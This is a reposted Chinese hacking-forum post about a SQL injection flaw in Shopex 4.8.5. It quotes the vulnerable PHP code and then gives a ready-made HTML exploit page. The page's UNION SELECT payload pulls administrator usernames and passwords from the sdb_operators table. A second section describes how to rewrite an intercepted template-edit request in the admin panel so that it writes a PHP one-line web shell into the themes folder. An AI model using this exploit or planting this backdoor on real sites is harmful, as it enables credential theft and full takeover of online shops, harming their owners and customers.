Shopex 4.8.5 SQL Injection 注射注射注射~【转】
转 t00ls大牛
大牛们 你们还在犹豫神马? 赶紧发帖啊.... 你们不发 那只好我来破这个处了
正好这两天电信抽风所以就抽空读了下
漏洞核心函数 \core\model_v5\trading\mdl.goods.php 由于是zend解密出来的 具体行数就不贴了
01 function getproducts( $gid, $pid = 0 ) //注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入
02 {
03 $sqlWhere = "";
04 if ( 0 < $pid )
05 {
06 $sqlWhere = " AND A.product_id = ".$pid; //没过滤 ~~~~~~ fuck之
07 }
08 $sql = "SELECT A.*,B.image_default FROM sdb_products AS A LEFT JOIN sdb_goods AS B ON A.goods_id=B.goods_id WHERE A.goods_id=".intval( $gid ).$sqlWhere;
09 return $this->db->select( $sql );
10 }
\core\shop\controller\ctl.product.php 文件调用
01 function gnotify($goods_id=0,$product_id=0){
02 //print_r($_POST);
03 //exit;
04 if($_POST['goods']['goods_id']){
05 $goods_id = $_POST['goods']['goods_id'];
06 $product_id = $_POST['goods']['product_id']; //POST没初始化也没过滤
07 }
08 $this->id =$goods_id;
09 $objGoods = &$this->system->loadModel('trading/goods');
10
11 //echo $goods_id." - ".$product_id;
12 //exit;
13 $aProduct = $objGoods->getProducts($goods_id, $product_id); //直接带进去了 还解释么??
14
15 $this->pagedata['goods'] = $aProduct[0];
16 if($this->member[member_id]){
17 $objMember = &$this->system->loadModel('member/member');
18 $aMemInfo = $objMember->getFieldById($this->member[member_id], array('email'));
19 $this->pagedata['member'] = $aMemInfo;
20 }
21
22 $this->output();
23 }
EXP: 保存为html使用即可
<script language="javascript">
function expstart() {
var url = document.forms[0].url.value;
if(url != ""){
if(url.search("http://") < 0 && url.search("https://") < 0){
url = "http://" + url;
}
document.submit_url.action = url + "/?product-gnotify";
}else{
alert("Hello Hacker!!!");
}
}
</script>
<html>
<head>
<title>Shopex 4.8.5 SQL Injection Exp [T00ls]</title>
</head>
<body>
<h2>Shopex 4.8.5 SQL Injection Exp (product-gnotify)</h2>
<form action="" method="post" name="submit_url">
<input type="hidden" name="goods[goods_id]" value="3">
<input type="hidden" name="goods[product_id]" value="1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24,0x20203C7370616E207374796C653D22636F6C6F723A20236666303030303B223E5430306C732E4E657420476F21476F21476F213C2F7370616E3E),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators">
<span style="color: #ff0000;">Site: </span><input type="text" name="url" value="http://127.0.0.1/shopex/">
<input type="submit" value="Forum : T00ls.net By Rices
本程序只能用于网站安全检测
禁止用于非法途径,产生的一切后果与作者无关!">
</form>
<span style="color: #ff0000;">Time: 2012.06.18 Code: Rices</span>
<body>
</html>
随便测试了几个4.8.5版本的 其他版本自己测试吧
图片我就不贴了 t00ls上看到了 自己测试了下 全部秒杀 不过貌似拿不到shell - - 求拿shell的办法
又一次悲剧了
Shopex 4.8.5 SQL 后台拿shell
第一步 页面管理 修改模版 然后选一个XML编辑
开始用 live http 抓包 你们懂的 然后把第一个POST包给抓出来
DiS9 TeAm1 q6 m" ^9 I3 }* e( `
然后改包 包要这么改 我研究了半天 尼玛的菊花红
id=1273923028-info.xml&tmpid=1273923028&name=index_temp.php&file_source=<?php eval($_POST[c])?>
解释一下 id是你选择的模版文件夹名称 后面的info.xml 是你修改的XML文件 tmpid= 你们懂的 就是模版文件夹 然后 name 是你提交的文件名字 file_source 是后门或者shell
我这里是一句话 你们懂的 然后提交了之后 地址是这样的www.xxxx.com/themes/文件名称/你的木马名称